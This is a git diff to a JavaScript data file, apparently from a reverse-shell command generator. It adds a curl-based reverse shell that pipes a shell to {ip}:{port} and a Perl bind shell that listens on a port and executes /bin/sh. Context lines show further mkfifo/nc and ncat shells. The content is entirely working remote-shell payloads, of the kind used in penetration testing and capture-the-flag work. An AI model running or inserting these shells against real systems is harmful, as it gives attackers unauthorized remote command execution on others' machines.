diff --git a/js/data.js b/js/data.js index 8fff46c..1458029 100644 --- a/js/data.js +++ b/js/data.js @@ -86,6 +86,11 @@ const reverseShellCommands = withCommandType( "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f", "meta": ["linux", "mac"] }, + { + "name": "curl", + "command": "C='curl -Ns telnet://{ip}:{port}'; $C &1 | {shell} 2>&1 | $C >/dev/null", + "meta": ["linux", "mac"] + }, { "name": "rustcat", "command": "rcat connect -s {shell} {ip} {port}", @@ -398,6 +403,11 @@ const bindShellCommands = withCommandType( "command": "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {port} > /tmp/f", "meta": ["bind", "mac", "linux"] }, + { + "name": "Perl Bind", + "command": "perl -e 'use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/sh -i\");};'", + "meta": ["bind", "mac", "linux"] + }, ] );